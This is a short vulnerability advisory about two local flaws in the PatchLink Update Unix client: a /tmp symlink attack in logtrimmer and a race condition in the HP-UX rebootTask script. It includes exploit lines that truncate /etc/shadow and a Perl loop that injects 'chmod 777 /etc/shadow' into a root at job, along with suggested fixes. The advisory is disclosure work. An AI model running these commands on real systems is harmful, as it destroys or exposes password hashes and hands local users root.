Two vulnerabilities for PatchLink Update Client for Unix.

[lcashdol@xxxxxxxxx]

PatchLink Update Unix Client File clobbering vulnerability

Larry W. Cashdollar

Vapid Labs

1/17/2008

Overview From the vendor:

?PatchLink Update? provides rapid, accurate and secure patch management, 
allowing you to proactively manage threats by automating the collection, 
analysis and delivery of patches throughout your enterprise. PatchLink Update 
significantly decreases the costs involved in securing your organization from 
worms, Trojans, viruses and other malicious threats.?

http://lumension.com/patch-management.jsp?rpLangCode=1&rpMenuId=118443

Vulnerability

The log rotation utility ?logtrimmer? utilizes space in /tmp improperly and is 
subject to a symlink attack. By creating a targeted symlink a non root user can 
clobber root owned files causing DoS.

Exploit

nobody:/tmp> ln -s /etc/shadow patchlink.tmp

After logs are rotated

/etc/shadow will be size 0, since patchlink.tmp is removed by logtrimmer after 
the log rotation process has finished.


Fix

Create a subdirectory under /tmp or /var/tmp to work from.

For example adding:

mkdir /var/tmp/plink
chmod 700 /var/tmp/plink
 
Second Vulnerability:


The script rebootTask contains the following lines for HP-UX Shutdown and 
reboot:

 echo "shutdown -r -y 120" > /tmp/plshutdown
    chmod 500 /tmp/plshutdown
    at now < /tmp/plshutdown

A race condition exists where a local user could symlink /tmp/plshutdown to a 
file in their home directory and inject malicous code. This could be done 
possibly by continuously writing to the file while waiting for the at command 
to run.

$ ln -s /tmp/plshutdown /var/tmp/runme

#/bin/perl
while(1){
`echo "chmod 777 /etc/shadow" > /var/tmp/runme`;
}

Also could be fixed by creating a subdirectory to work from under /var/tmp or 
/tmp.


http://vapid.dhs.org